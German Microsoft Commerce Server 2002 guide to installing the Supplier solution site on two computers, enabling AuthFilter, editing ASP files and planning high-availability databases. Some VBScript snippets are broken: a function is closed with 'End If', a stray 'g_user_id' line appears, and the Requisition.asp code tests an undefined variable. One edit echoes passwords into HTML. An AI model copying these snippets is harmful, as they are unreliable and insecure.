    Verbindungszeichenfolge für das Profilsystem | Angeben der Dateien, die in den OLEDB-Datenspeicher importiert werden sollen. Klicken Sie auf Ändern, um eine andere Datenbank anzugeben.
    Schemadefinitionsskripts (*.sql, *.vbs) Angeben der Schemadefinitionsskripts, die importiert werden sollen.

    Hinweis

    • Site Packager verwendet ein Standard-Schemadefinitionsskript. Wenn Sie die Benutzerobjekt-Tabelle oder andere Profilschemadefinitionen modifizieren, müssen Sie SQL Server Enterprise Manager verwenden, um ein Skript zu erstellen, das hier verwendet werden kann. Weitere Informationen finden Sie unter Packen von erweiterten Profilschemas.
    Datenauffüllungsskripts (*.sql) | Angeben der Datenauffüllungsskripts, die importiert werden sollen.
  14. Klicken Sie auf OK.

    Hinweis

    • Wenn Sie mit der integrierten Windows-Sicherheit arbeiten, prüfen Sie im Dialogfeld Commerce Server Site Packager die Liste der entpackten Ressourcen, welche für die entsprechenden Windows-Konten Berechtigungen erfordern.
  15. Geben Sie im Dialogfeld Profilsystem die Domäne, den Benutzernamen und das Kennwort für die zuvor erstellte Domäne ein. Den Benutzernamen müssen Sie im Format Domäne\Benutzername eingeben. Nach Ausführung dieses Schrittes können die in der Supplier-Lösungssite erstellten Benutzerprofile in Active Directory (Computer 1) gespeichert werden.
  16. Klicken Sie auf OK.
  17. Sehen Sie sich im Dialogfeld Das Entpacken ist abgeschlossen die Liste der erstellten SQL-Datenbanken und der IIS-Anwendungen an. Um die Ereignisliste in der Protokolldatei von Site Packager zu überprüfen, klicken Sie auf Protokolldatei anzeigen.
  18. Klicken Sie auf Fertig stellen, um Site Packager zu schließen.

Sie haben nun die Supplier-Lösungssite auf dem zweiten Computer erfolgreich entpackt. Fahren Sie nun mit Schritt 7: Prüfen der Softwarekonfiguration auf beiden Computern fort.


Schritt 7: Prüfen der Softwarekonfiguration auf beiden Computern

Anhand der folgenden Schritte überprüfen Sie, ob die Software auf allen Computern ordnungsgemäß installiert wurde:

  1. Geben Sie auf jedem Computer im Menü Ausführen den Pfad nltest /dsgetdc:Domänen-DNS-Name ein, und klicken Sie anschließend auf OK. Bei diesem Vorgang dürfen keine Probleme auftreten. Wenn Fehler auftreten, ist die Konfiguration fehlerhaft.

    Das Dienstprogramm Nltest.exe ist Bestandteil des Microsoft Windows 2000 Server Resource Kits.

  2. Zeigen Sie auf dem Active Directory-Server auf Verwaltung, und klicken Sie anschließend auf DNS. Unter dem Knoten Forward-Lookupzonen sollten nun die Domänendaten angezeigt werden. Wenn die Daten nicht angezeigt werden, ist die Konfiguration fehlerhaft.

Damit haben Sie die Überprüfung der Konfiguration der Supplier-Lösungssite erfolgreich abgeschlossen. Fahren Sie mit Schritt 8: Aktivieren von AuthFilter für die Supplier-Lösungssite fort.


Schritt 8: Aktivieren von AuthFilter für die Supplier-Lösungssite

In diesem Abschnitt wird beschrieben, wie AuthFilter in der Supplier-Lösungssite aktiviert wird.

Hinweise

  • Bevor Sie diese Schritte ausführen, sollten Sie die Hinweise unter Wichtige Informationen zur Verwendung von AuthFilter für die Supplier-Lösungssite lesen.
  • Informationen zur Datei LOGIN.ASP für AuthFilter für die Supplier-Lösungssite finden Sie unter Login.asp-Code für die Supplier-Lösungssite.

Für die Supplier-Lösungssite und für die Verwendung von AuthFilter im Windows-Authentifizierungsmodus müssen Sie den Sicherheitsmodus auf dem Domänencontroller für lokale Anmeldung einstellen. Wenn Sie dies noch nicht getan haben, finden Sie entsprechende Informationen unter Einstellen des Sicherheitsmodus auf dem Domänencontroller.

In der Supplier-Lösungssite sollte nur die Standardauthentifizierung aktiviert sein. Verändern Sie keine der weiteren Sicherheitseinstellungen.

Für den AuthFiles-Unterordner und alle in ihm enthaltenen Seiten sollte der anonyme Zugriff aktiviert sein.

Wenn der Domänencontroller und der Webserver auf verschiedenen Computern in derselben Domäne installiert sind, muss AuthFilter über ein anonymes Konto auf dem Webserver verfügen, damit die Methode ProfileService.GetUserProfileByKey() von jedem Profil/Benutzer auf der Anmeldeseite erfolgreich angewendet werden kann.

Standardmäßig trägt ein anonymes Benutzerkonto die Bezeichnung IUSR_Servername. Im Internetdienste-Manager verfügt IUSR_Servername nicht über die erforderlichen Berechtigungen, um die Methode erfolgreich anzuwenden. Wenn Ihr Webserver und Ihr Domänencontrollerserver nicht identisch sind, müssen Sie ein Benutzerkonto aus dieser Domäne als anonymes Konto hinzufügen. Erstellen Sie dazu zunächst in der Domäne ein Benutzerkonto mit Lesezugriff auf Benutzereigenschaften in Active Directory. Verwenden Sie dann auf dem Webserver den IIS-Manager, um für den AuthFiles-Unterordner und alle seine Dateien dasselbe Benutzerkonto als anonymes Konto einzurichten.

So aktivieren Sie AuthFilter in der Supplier-Lösungssite

  1. Erweitern Sie erst Commerce Server-Manager, dann Commerce-Sites, und klicken Sie dann auf die Site, die Sie verwalten möchten.
  2. Erweitern Sie Anwendungen, klicken Sie mit der rechten Maustaste auf den Namen der Anwendung, mit der Sie arbeiten möchten, und klicken Sie dann auf Eigenschaften.
  3. Wählen Sie im Dialogfeld Eigenschaften auf der Registerkarte Allgemein im Feld Commerce-Authentifizierungsfilter aus der Dropdownliste Authentifizierungsfilter entweder die Option Windows-Authentifizierung oder Benutzerdefinierte Authentifizierung. Klicken Sie anschließend auf OK.
  4. Erweitern Sie Internetinformationsdienste, klicken Sie mit der rechten Maustaste auf die Site Supplier, und klicken Sie anschließend auf Eigenschaften.
  5. Klicken Sie im Dialogfeld Eigenschaften auf der Registerkarte Verzeichnissicherheit im Bereich Steuerung des anonymen Zugriffs und der Authentifizierung auf Bearbeiten.
  6. Deaktivieren Sie im Dialogfeld Authentifizierungsmethoden das Kontrollkästchen Integrierte Windows-Authentifizierung.

    Hinweis

    • In der Supplier-Lösungssite sollte nur die Standardauthentifizierung aktiviert sein. Verändern Sie keine der weiteren Sicherheitseinstellungen.
  7. Verwenden Sie den Editor, um Authfiles\Login.asp für die Site Supplier zu öffnen.
  8. Wenn Sie eine Webfarm verwenden bzw. Unterstützung für das Proxykonto benötigen, aktualisieren Sie in Login.asp den Code, sodass er dem Code entspricht, der unter "Login.asp"-Code für die Supplier-Lösungssite angegeben ist.

    Wichtig

    • Wenn es sich um einen einzelnen Server handelt, der keine Unterstützung für Proxykonten benötigt, müssen Sie die Datei Login.asp nicht aktualisieren.
  9. Ändern Sie für die Windows-Authentifizierung die Methode GetUserInfo() in \SupplierAD\include\Std_access_lib.asp folgendermaßen:
    Sub GetUserInfo()
    Dim sAuthUser, mscsUser
    Dim aName

    If dictConfig.i_DelegatedAdminOptions = DELEGATED_ADMIN_SUPPORTED Then
        sAuthUser = LoginName(Request.ServerVariables("LOGON_USER"))
    Else
        sAuthUser = ""
    End If
        Rem Integrated Windows und basic auth haben Vorrang vor HTML form auth
        If sAuthUser <> "" Then
            m_UserAccessType = IIS_AUTH ' BASIC_AUTH
            m_UserType = AUTH_USER
            Set mscsUser = GetUserProfileByLoginName(sAuthUser)
            If mscsUser Is Nothing Then
               g_user_id
            Else
               m_UserID = mscsUser.Fields(GetQualifiedName(GENERAL_INFO_GROUP, USER_ID)).Value
            End If
        Else
            If mscsAuthMgr.IsAuthenticated() Then
              sAuthUser = mscsAuthMgr.GetUserID(AUTH_TICKET)
              Set mscsUser = GetUserProfileByLoginName(sAuthUser)
                If mscsUser Is Nothing Then
                   g_user_id
                Else
                  m_UserID = mscsUser.Fields(GetQualifiedName(GENERAL_INFO_GROUP, USER_ID)).Value
                End If
              m_UserAccessType = TICKET_AUTH
              m_UserType = AUTH_USER
            Else
                If Not IsNull(mscsAuthMgr.GetUserID(GUEST_TICKET)) Then
                   m_UserID = mscsAuthMgr.GetUserID(GUEST_TICKET)
                   m_UserAccessType = GUEST_VISIT
                   m_UserType = GUEST_USER
                Else
                   m_UserID = ""
                   m_UserAccessType = ANON_VISIT
                   m_UserType = ANON_USER
                End If
            End If
        End If
End Sub

  Function LoginName(ByVal sUserName)
    Dim aName

    If (sUserName = "") Then
      Exit Function
    End IF
    aName = Split (sUserName, "\")
    LoginName = aName(UBound(aName))
  End If
  10. Ändern Sie für die Windows-Authentifizierung in der Methode PrepareLoginSection in \SupplierAD\template\menu.asp den Code einer Zeichenfolge Request.ServerVariables so, dass er nicht mehr auf die Servervariable "AUTH_USER", sondern auf die Servervariable "LOGON_USER" verweist. Zum Beispiel:

    Falsch: sAuthUser = Request.ServerVariables("AUTH_USER")

    Richtig: sAuthUser = Request.ServerVariables("LOGON_USER")

  11. Speichern und schließen Sie die aktualisierten Seiten Login.asp und menu.asp.
  12. Starten Sie IIS neu, indem Sie iisreset in der Befehlszeile ausführen.

Damit haben Sie die AuthFilter in der Supplier-Lösungssite erfolgreich aktiviert. Fahren Sie mit Schritt 9: Installieren des Business Desk-Clients fort.


Schritt 9: Installieren des Business Desk-Clients

Nach dem Entpacken einer Site können Sie den Business Desk Client installieren, indem Sie zu dem URL (Uniform Resource Locator) der Business Desk-Anwendung eine Verbindung herstellen.

So installieren Sie den Business Desk Client auf Computer 2

  1. Klicken Sie auf Start, zeigen Sie auf Programme, und klicken Sie dann auf Internet Explorer.
  2. Geben Sie in Internet Explorer die Adresse http://Webservername/supplieradbizdesk als URL für den Zugriff auf den Business Desk für die Supplier-Lösungssite ein.
  3. Übernehmen Sie im Dialogfeld Nach Ordner suchen den Standardordner, oder wählen Sie einen anderen Ordner aus, in dem die Datei der HTML-Anwendung (HTA) gespeichert werden soll. Klicken Sie anschließend auf OK. Der Business Desk Client wird nun heruntergeladen und auf Computer 2 installiert.
  4. Beenden Sie Internet Explorer, wenn die Installation von Business Desk abgeschlossen ist. Das Business Desk-Symbol erscheint als Verknüpfung sowohl auf Ihrem Desktop als auch im Menü Start.

Informationen zur Installation des Business Desk Client finden Sie im Commerce Server 2002-Installationshandbuch.

Sie haben nun den Business Desk Client auf dem zweiten Computer erfolgreich installiert. Fahren Sie mit Schritt 10: Prüfen der Konfiguration von Business Desk und der Supplier-Site fort.


Schritt 10: Prüfen der Konfiguration von Business Desk und der Supplier-Site

Bei diesem Prüfverfahren verwenden Sie Business Desk, um einen neuen Benutzer mit Administratorrechten zu erstellen. Anschließend können Sie in der Supplier-Site einen delegierten Administrator erstellen.

So prüfen Sie die Konfiguration von Business Desk und der Supplier-Site

  1. Melden Sie sich bei dem Business Desk-Client-Computer (Computer 2) als Domänenadministrator an.
  2. Installieren Sie Business Desk, indem Sie zum URL http://Webservername/supplieradbizdesk wechseln.
  3. Klicken Sie im Business Desk-Modul "Profile" auf Benutzer, und fügen Sie einen neuen Benutzer hinzu (Beispiel: Cornelia Kunze). Informationen zum Hinzufügen von Benutzern finden Sie unter Hinzufügen eines Benutzerprofils.
  4. Geben Sie im Feld Suchen das Zeichen * ein, und klicken Sie auf Jetzt suchen. Wenn der neue Benutzer in der Ergebnisliste angezeigt wird, haben Sie Business Desk ordnungsgemäß zum Speichern von Benutzerprofilen mit Active Directory integriert.
  5. Wechseln Sie zum URL http://Webservername/SupplierAD.
  6. Geben Sie auf der Anmeldeseite den Benutzernamen und das Kennwort ein. Verwenden Sie zur Angabe des Benutzernamens das Format "Domäne\Benutzername" oder UPN (User Principal Name). Wenn Sie kein registrierter Benutzer sind, klicken Sie auf den Link im unteren Bereich der Seite (Sie müssen eine benutzerdefinierte Registrierungsseite hinzufügen, auf der Sie in Active Directory Konten erstellen können).

Die Login.asp-Seite erstellt das Authentifizierungsticket für registrierte Benutzer, ruft das Profil der Benutzer ab und überprüft ggf. die Anmeldeinformationen. Durch die Anforderung wird die Webseite mit den angeforderten Informationen aufgefüllt. Wenn Sie einen ungültigen Benutzernamen oder ein ungültiges Kennwort eingegeben haben oder das Profil nicht gefunden werden konnte, wird die Seite Login.asp erneut angezeigt (mit einer Aufforderung an den Benutzer, sich anzumelden oder zu registrieren).

Wenn Business Desk und die Supplier-Lösungssite ordnungsgemäß konfiguriert wurden, fahren Sie mit Schritt 11: ASP-Dateien bearbeiten fort.


Schritt 11: Bearbeiten von ASP-Dateien

Bevor Sie die Supplier-Lösungssite verwenden, müssen Sie die folgenden ASP-Dateien bearbeiten, um die für die Site erforderlichen Funktionen zu aktivieren:

  • Catalog.asp
  • Html_lib.asp
  • Login.asp
  • Requisition.asp
  • StepSrch.asp


Ändern der Datei "Catalog.asp"

Bearbeiten Sie die Datei Catalog.asp, sodass die Beschränkungen für den Katalogsatz von der Site aus aufgerufen werden können.

So ändern Sie die Datei "Catalog.asp"

  1. Öffnen Sie die Datei Catalog.asp mit einer Volltextanwendung wie Microsoft Notepad. Die Datei Catalog.asp befindet sich auf dem Commerce Server im Ordner Laufwerk:\inetpub\wwwroot\Sitename\include, wobei es sich bei Laufwerk um das Laufwerk handelt, auf dem IIS installiert ist.
  2. Suchen Sie in der Datei Catalog.asp nach der Funktion mscsUserCatalogsetID:
  3. Suchen Sie in der Funktion nach folgender Textzeichenfolge:

    Set rsOrg = rsGetProfileByKey(FIELD_ORG_ORG_ID, org_id, PROFILE_TYPE_ORG, False)

  4. Ersetzen Sie den oben aufgeführten Text mit dem folgenden Text:

    Set rsOrg = rsGetProfileByKey(FIELD_ORG_NAME, org_id, PROFILE_TYPE_ORG, False)

  5. Suchen Sie in der Datei Catalog.asp nach folgender Funktion:
    mscsUserCatalogsFromID(ByVal CatalogSetID)
  6. Suchen Sie in dieser Funktion nach folgendem Text:
    Set mscsCatalogSets = Server.CreateObject("Commerce.CatalogSets")
  7. Ersetzen Sie den oben aufgeführten Text mit dem folgenden Text:
    Set mscsCatalogSets = Server.CreateObject("Commerce.CatalogSets2")
mscsCatalogSets.OrganizationObjectJoinKey  = FIELD_ORG_NAME
  8. Suchen Sie in der Datei Catalog.asp nach folgender Funktion:
    mscsUserCatalogs
  9. Ersetzen Sie den gesamten in dieser Funktion enthaltenen Text mit dem folgenden Text:
    Dim userCatalogsetID
userCatalogsetID = mscsUserCatalogsetID()
set mscsUserCatalogs = mscsUserCatalogsFromID(userCatalogsetID)


Ändern der Datei "Html_lib.asp"

Bearbeiten Sie die Datei Html_lib.asp sodass Kennwörter beim Kopieren von Benutzern aus der Site aus dem Cache abgerufen werden können.

So ändern Sie die Datei "Html_lib.asp"

  1. Öffnen Sie die Datei Html_lib.asp in einer Volltextanwendung wie Microsoft Editor. Die Datei Htm_lib.asp befindet sich auf dem Commerce Server im Ordner Laufwerk:\inetpub\wwwroot\Sitename\include, wobei es sich bei Laufwerk um das Laufwerk handelt, auf dem IIS installiert ist.
  2. Suchen Sie in der Datei Html_lib.asp nach der Funktion RenderPasswordBox:

    3.

  3. Ersetzen Sie den gesamten in dieser Funktion enthaltenen Code mit dem folgenden Text:

    Dim sNewValue

    If (IsArray(sValue)) Then

    sNewValue = sValue(0)

    Else

    sNewValue = sValue

    End If

    RenderPasswordBox = "<INPUT TYPE=""PASSWORD"" NAME=""" & sName & """ VALUE=""" & sNewValue & """ SIZE=""" & iSize & """ MAXLENGTH=""" & iMaxLength & """" & sAttList & ">"

    4.


Ändern der Datei "Login.asp"

Bearbeiten Sie die Datei Login.asp, sodass Benutzer zur erneuten Anmeldung aufgefordert werden, wenn IIS im Verlauf einer Sitzung zurückgesetzt wird.

So ändern Sie die Datei "Login.asp"

  1. Öffnen Sie die Datei Login.asp in einer Volltextanwendung wie Microsoft Editor. Die Datei Login.asp befindet sich im Ordner Programme\Microsoft Commerce Server 2002\AuthFiles auf der CD-ROM zu Commerce Server 2002.
  2. Suchen Sie in der Datei Login.asp nach folgendem Text:
    if objAuth.IsAuthenticated(30)
  3. Ersetzen Sie den Abschnitt von:
    if objAuth.IsAuthenticated(30)
bis:
Set objAuth = Nothing
durch folgenden Text:
PrintLogin
End If
Set objAuth = Nothing


Ändern der Datei "Requisition.asp"

Bearbeiten Sie die Datei Requisition.asp, sodass Bestellungen von der Site aus aufgerufen werden können.

So ändern Sie die Datei "Requisition.asp"

Führen Sie in der Datei Requisition.asp folgende Schritte aus:

  1. Öffnen Sie die Datei Requisition.asp in einer Volltextanwendung wie Microsoft Editor. Die Datei Requisition.asp befindet sich auf dem Commerce Server im Ordner Laufwerk:\inetpub\wwwroot\Sitename\Services\include, wobei es sich bei Laufwerk um das Laufwerk handelt, auf dem IIS installiert ist.
  2. Suchen Sie in der Datei Requisition.asp nach der Funktion rsGetOrdersList.
  3. Suchen Sie in der Funktion nach folgender Textzeichenfolge:
    oSearchInfo.user_org_id = mscsUserProfile(USER_ORGID).Value
  4. Ersetzen Sie den oben aufgeführten Text mit dem folgenden Text:
    Dim org_id
Dim rsOrg
If Not IsNull(org_name) Then
' Set rsGetProfile's bForceDBLookUp to False to avoid a database look-up.
Set rsOrg = rsGetProfileByKey(FIELD_ORG_NAME, org_id, PROFILE_TYPE_ORG, False)
If Not rsOrg Is Nothing Then
oSearchInfo.user_org_id = rsOrg.Fields.Item("GeneralInfo.org_id").Value
End If
End If


Ändern der Datei "Stepsrch.asp"

Bearbeiten Sie die Datei Stepsrch.asp, sodass Eigenschaftsdefinitionen mit Bindestrichen (–) gezielt gesucht werden können.

Ändern der Datei "Stepsrch.asp"

  1. Öffnen Sie die Datei Stepsrch.asp in einer Volltextanwendung wie Microsoft Editor. Die Datei Stepsrch.asp befindet sich auf dem Commerce Server im Ordner Laufwerk:\inetpub\wwwroot\Sitename, wobei es sich bei Laufwerk um das Laufwerk handelt, auf dem IIS installiert ist.
  2. Suchen Sie in der Datei Stepsrch.asp nach folgender Funktion:
    Sub PerformSpecificationSearch
  3. Suchen Sie in dieser Funktion nach folgendem Text:
    sColList = sColList + "," + oCatalog.IdentifyingProductProperty
  4. Ersetzen Sie den oben aufgeführten Text mit dem folgenden Text:
    sColList = sColList + ",[" + oCatalog.IdentifyingProductProperty + "]"
  5. Wenn Sie die vier ASP-Dateien bearbeitet haben, führen Sie in der Befehlszeile den Befehl iisreset aus.
Nach dem Neustart von IIS ist die Installation der Supplier-Lösungssite in einer Konfiguration mit zwei Computern abgeschlossen.

Hinweise zur Verwaltung der Supplier-Lösungssite finden Sie im Business-To-Business-Lernprogramm.


Bereitstellung in verteilten Umgebungen

Bei Bereitstellungen größerer Art kann jede Commerce Server 2002-Komponente auf einer eigenen Datenbank installiert werden. Dieser Abschnitt führt die Abhängigkeiten in Bezug auf hohe Verfügbarkeit auf, die für jede Komponente bei der Bereitstellung in einer verteilten Umgebung zu berücksichtigen sind.

Dieser Abschnitt beinhaltet folgende Themen:

  • Verwaltungsdatenbank
  • Profilsystem
  • Produktkatalogsystem
  • Zielgruppenadressierungssystem
  • Direct Mailer
  • Authentifizierung
  • Geschäftsprozesspipelines
  • Data Warehouse


Verwaltungsdatenbank

Die Commerce Server-Verwaltungsdatenbank wird zur Speicherung von Konfigurationsinformationen für Commerce Server-Ressourcen verwendet. Dazu gehören globale Ressourcen, die von allen Sites verwendet werden, und sitespezifische Ressourcen. Verbindungen, die von Objekten für den Zugriff auf die Datenbank aufgebaut werden, sind kurzlebig. Die Daten werden in der Datei Global.asa zur späteren Verwendung gespeichert. Nachdem diese Informationen zwischengespeichert wurden, wird die Datenbankverbindung nicht mehr benötigt.

Mithilfe von Windows Clustering ist es möglich, die Verwaltungsdatenbank redundant zu machen. Für den Aufbau einer solchen Redundanz kann einer der beiden folgenden Konfigurationstypen verwendet werden:

  • Aktiv/aktiv-Konfiguration. Alle Knoten sind in Betrieb und fungieren als Host für eine Datenbank.
  • Aktiv/passiv-Konfiguration. Ein Knoten ist in Betrieb und fungiert als Host für eine Datenbank. Alle anderen Knoten befinden sich im Sicherungsmodus und sind bereit, aktiviert zu werden und die Datenbank zu übernehmen, wenn der aktive Knoten ausfallen sollte.

Wenn die IIS-Anwendung geladen ist (beim ersten Mal, wenn auf eine ASP-Seite innerhalb des virtuellen Verzeichnisses der Seite zugegriffen wird), wird die Unterroutine Application_OnStart aufgerufen, um die Verwaltungsdatenbank in den Zwischenspeicher zu laden. Die Unterroutine Application_OnStart lädt Anwendungsvariablen mithilfe des SiteConfigReadOnly-Objekts, das eine Verbindung zur Verwaltungsdatenbank erfordert.

Wenn die Unterroutine Application_OnStart fehlschlägt (z. B. wenn der Computer, auf dem SQL Server ausgeführt wird, ausfällt oder nicht zur Verfügung steht), müssen Sie eine der folgenden Maßnahmen durchführen, um die Anwendungsvariablen erneut zu laden:

  • Führen Sie eine ASP-Seite aus, die alle Initialisierungsvorgänge der Datei Global.asa ausführt. Dies ist die am wenigsten eindringliche Variante. Sie sollten dabei Zugriffssteuerungslisten (ACLs) verwenden, um die ASP-Seite zu schützen, damit nur autorisierte Personen oder Prozesse sie ausführen können.
  • Entfernen Sie die Commerce Server-Anwendung aus dem IIS-Manager.
  • Führen Sie den Befehl IISReset aus. Diese Option hat starke Auswirkungen, da sie alle auf dem IIS-Server aktiven ASP-Anwendungen zurücksetzt.
  • Starten Sie den Webserver neu. Dies ist die radikalste Option, denn davon werden alle Anwendungen und Dienste betroffen, die auf dem Webserver ausgeführt werden.

Für jede dieser Optionen kann auch ein Skript erstellt werden.

Siehe auch

Verwalten der Verwaltungsdatenbank


Profilsystem

Das Commerce Server-Profilsystem kann zum Zusammenfassen von Daten aus verschiedenen Datenspeichern wie Active Directory (Lightweight Directory Access Protocol (LDAP) Version 3.0) und SQL Server verwendet werden.

Mithilfe des Profilsystems können Sie die Daten in dem Datenspeicher unterbringen, der für das Nutzungsprofil am besten geeignet ist.

  • Verzeichnisdienste sind normalerweise aufgrund der vorhandenen Sicherheitsfunktionen für schreibgeschützte Operationen optimiert.
  • SQL Server ist gleichermaßen für Lese- und Schreiboperationen geeignet, weist aber weniger vorhandene Sicherheitsfunktionen auf.
  • Active Directory sollte zum Speichern von Daten verwendet werden, die während des Besuchs der Site überwiegend statisch sind. Ansonsten müssen die Daten mithilfe von ACLs abgesichert werden.
  • Verwenden Sie SQL Server zum Speichern von Daten, die während eines Besuchs flüchtig sind.

Active Directory ist beispielsweise auf einem hierarchischen LDAP-Modell aufgebaut, welches sich hervorragend für schnelle, einmalige Abfragen eignet. Die in Active Directory gespeicherten Attribute sind für andere Anwendungen leicht verfügbar, die möglicherweise ebenfalls in dem Datenzentrum ausgeführt werden. Beispiele für solche Attribute, die am besten in Active Directory gespeichert werden, sind Benutzername, Adresse und Stadt.

Im Gegensatz dazu sollten Commerce Server-spezifische, flüchtige Attribute wie Datum des letzten Besuchs, in einer SQL Server-Datenbank gespeichert werden, um die Vorteile der Kapazität für die Handhabung großer Aktualisierungsraten von SQL Server zu nutzen. Die Verfügbarkeit von Daten kann stark variieren, je nachdem, welche Kombination von Datenspeichern Sie für die Verwaltung der Daten verwenden.

Um eine große, hoch verfügbare Profildatenbank zu generieren, sollten Sie einen Hash-basierten Partitionscluster von Servern verwenden, auf denen SQL Server auf der Grundlage von Windows Clustering ausgeführt wird. Das Hashing ordnet einen Benutzer einer bestimmten Profilpartition zu.

Die folgende Abbildung zeigt, wie ein Hash-basierter Partitionscluster aus SQL Server-Servern aufgebaut sein kann. Auf jedem Profilsystemserver wird Windows Clustering ausgeführt.

Eine Abbildung, die einen Hash-basierten Partitionscluster aus SQL Server-Computern zeigt

Die folgende Abbildung stellt Windows Clustering in einer aktiv/passiv-Konfiguration mit einem gemeinsam genutzten Laufwerk dar.

Eine Abbildung, die Windows Clustering in einer aktiv/passiv-Konfiguration mit einem gemeinsam genutzten Laufwerk darstellt

Hinweis

  • Wenn Sie die in diesem Abschnitt beschriebene partitionierte Architektur verwenden, sollten Sie die Partitionen erstellen, bevor Sie mit dem Aufbau beginnen. Wenn Sie Partitionen hinzufügen, wenn Ihre Site bereits Benutzerdaten enthält, müssen Sie diese Daten entfernen und wieder neu speichern, um sicherzustellen, dass sie in der richtigen Partition gespeichert sind.

Das Profilsystem baut eine Datenbankverbindung auf, liest die Konfigurationsinformationen und erstellt einen Profilkonfigurationscache aus diesen Informationen. Die Verbindungen zur Datenbank werden zusammengefasst und besitzen eine eingebaute Wiederholungslogik, falls eine Verbindung abbricht.

Der Zugriff auf das Profilsystem wird in der Application_OnStart-Funktion der Datei Global.ASA eingeleitet. Danach greift die Webanwendung auf die Profildatenbank und die untergeordneten Profildatenspeicher über das Profilsystem, Profilobjekte und den OLE DB-Provider für Commerce Server (mithilfe von Active Directory-Objekten) zu. Folgende Einzelfehlerquellen haben direkten Einfluss auf das Profilsystem:

  • Das AppConfig-Objekt (zur Auffindung der Verbindungszeichenfolge der Profildatenbank).
  • Die Verwaltungsdatenbank.
  • Die Profildatenbank (zur Suche nach Schemas, Sitebegriffen und Informationen über Ausdrücke).
  • SQL-Profildatenspeicher.
  • Active Directory-LDAP-Datenspeicher.
  • LDAP-Datenspeicher.
  • OLE DB-/ODBC-Datenspeicher von Drittanbietern.

Siehe auch

Ausführen der Profilressource

Business Desk-Profile


Integrieren von Benutzerdaten aus Datenspeichern von Drittanbietern

Das Profilsystem kann dazu verwendet werden, Daten aus Datenspeichern von Drittanbietern zu integrieren (z. B. Daten, die sich in einer Oracle-Datenbank befinden). Je nachdem, welche Ziele Sie verfolgen, kann es kostengünstig sein, für den Datenspeicher eines Drittanbieters eine Konfiguration mit hoher Verfügbarkeit einzurichten. Beachten Sie aber dabei, dass im Falle eines Fehlschlags des Lesevorgangs in einer untergeordneten Datenquelle die gesamte Operation fehlschlägt. Es ist auch möglich, durch das Erstellen eines virtuellen Servers aus mehreren Datenspeichern eine Redundanz für Datenspeicher von Drittanbietern aufzubauen. Der Datenquellenname (DSN; data source name), den das Profilsystem verwendet, sollte zusammen mit dem virtuellen Server eingerichtet werden.


Zusammenfassen von Benutzerdaten aus mehreren Datenspeichern

Immer, wenn es notwendig ist, Daten in verschiedenen Datenspeichern abzulegen, besteht das Risiko, dass einer oder mehrere der Speicher nicht zur Verfügung stehen. Die folgende Abbildung zeigt einen nicht verfügbaren Datenspeicher.

Abbildung, die einen nicht verfügbaren Datenspeicher zeigt

Um einen Schutz vor dieser Situation zu bieten, unterstützt das Profilsystem die Anerkennung von unverbindlichen Transaktionen. Bei einer unverbindlichen Transaktion werden für Schreibzugriffe und Aktualisierungen in Transaktionsdatenbanken (z. B. SQL Server und Oracle), die vom Profilsystem zusammengefasst sind, nur dann Commits ausgeführt, wenn die Operationen für Nichttransaktionsdatenbanken (Active Directory) erfolgreich waren.

Das folgende Logikbeispiel beschreibt, wie Commerce Server unverbindliche Transaktionen in einer Site durchführt, in der Active Directory-, SQL Server- und Oracle-Speicher gemeinsam zur Speicherung von Benutzerprofilattributen verwendet werden. Es wird mithilfe des isTransactioned-Attributs der Profildefinition aktiviert. Logikbeispiel:

   Transaktion für SQL Server starten
   Änderungen schreiben
      Transaktion für Oracle starten
      Änderungen schreiben
         Änderungen in Active Directory_1 schreiben
      Commit für Änderungen_2 ausführen
   Commit für Änderungen_3 ausführen

Wenn 1 fehlschlägt, dann 2 und 3 abbrechen.
Wenn 1 erfolgreich ist und 2 fehlschlägt, dann ist Active Directory-Speicher inkonsistent.
Wenn 1 und 2 erfolgreich sind und 3 fehlschlägt, dann ist SQL Server inkonsistent.

Das Profilsystem unterstützt keine Zwei-Phasen-Commits.


Produktkatalogsystem

Im Produktkatalogsystem von Commerce Server besteht die Möglichkeit, die Katalogdatenbank redundant zu machen, indem sie auf mehreren Webservern installiert wird, die von einer Einzel-IP-Lösung vertreten werden. Bei dieser Konfiguration verteilt ein Computer, auf dem SQL Server ausgeführt wird, die Produktkataloge an Abonnentencomputer, auf denen ebenfalls SQL Server ausgeführt wird (die Produktionscomputer). Die Abonnenten verfügen über schreibgeschützte Versionen der Produktkataloge und gleichen ihre Lasten gegenseitig mithilfe des Netzwerklastenausgleichs (NLB) ab.

Da nur eine Verbindungszeichenfolge unterstützt wird, erfordert diese Konfiguration eine HOSTS-Datei auf dem Server, auf dem Commerce Server Business Desk ausgeführt wird, um auf den SQL Server-Verteiler und nicht auf die Abonnenten zu verweisen.

  • Kleine Installation. Verwenden Sie entweder aktiv/aktiv- oder aktiv/passiv-Clustering. Diese Konfiguration unterstützt zwei Knoten, auf denen Microsoft Windows 2000 Server ausgeführt wird, oder vier Knoten, auf denen Microsoft Windows 2000 Datacenter Server ausgeführt wird.
  • Große Installation. Verwenden Sie NLB, um die Server, auf denen SQL Server ausgeführt wird, zu einem Cluster zusammenzufassen und einen einzigen virtuellen Datenbanknamen für den Zugriff auf die Geschäftslogik der Katalogdatenbank bereitzustellen.

    Sie können auch stattdessen die SQL Server-Replikation verwenden (entweder für Snapshots oder Transaktionen, je nach Bedarf), um die Datenkonsistenz zwischen den Servern, auf denen SQL Server ausgeführt wird, sicherzustellen.

    Die folgende Abbildung zeigt, wie eine Konfiguration unter Verwendung von NLB aussehen könnte. NLB wurde in der Praxis mit einem Cluster von acht Servern getestet, auf denen SQL Server ausgeführt wurde.

    Abbildung, die einen Katalogdatenbankcluster unter Verwendung von NLB zeigt

  • Sehr große Installation. Platzieren Sie eine Einzel-IP-Lösung vor mehrere NLB-Cluster. Die folgende Abbildung zeigt, wie die Struktur einer Katalogdatenbank für eine sehr große Installation aussehen könnte.

Abbildung, die die Struktur einer Katalogdatenbank für eine sehr große Site zeigt

Das Produktkatalogsystem hält eine kontinuierliche Verbindung zu den Datenbanktabellen aufrecht. Wird diese Verbindung aufgrund von Netzwerk- oder Datenbankproblemen unterbrochen, versucht das Produktkatalogsystem, diese Verbindung wiederherzustellen.

Der Zugriff auf die Katalogdatenbank wird in der Application_OnStart-Funktion der Datei Global.ASA eingeleitet. Danach greift die Webanwendung über das CatalogManager-Objekt auf die Kataloginformationen zu, welches wiederum auf die Katalogdatenbank zugreift. Folgende Einzelfehlerquellen haben direkten Einfluss auf das CatalogManager-Objekt:

  • Das AppConfig-Objekt (zur Auffindung der Verbindungszeichenfolge der Katalogdatenbank)
  • Die Verwaltungsdatenbank
  • Die Katalogdatenbank (zum Abrufen von Schemas und Daten)
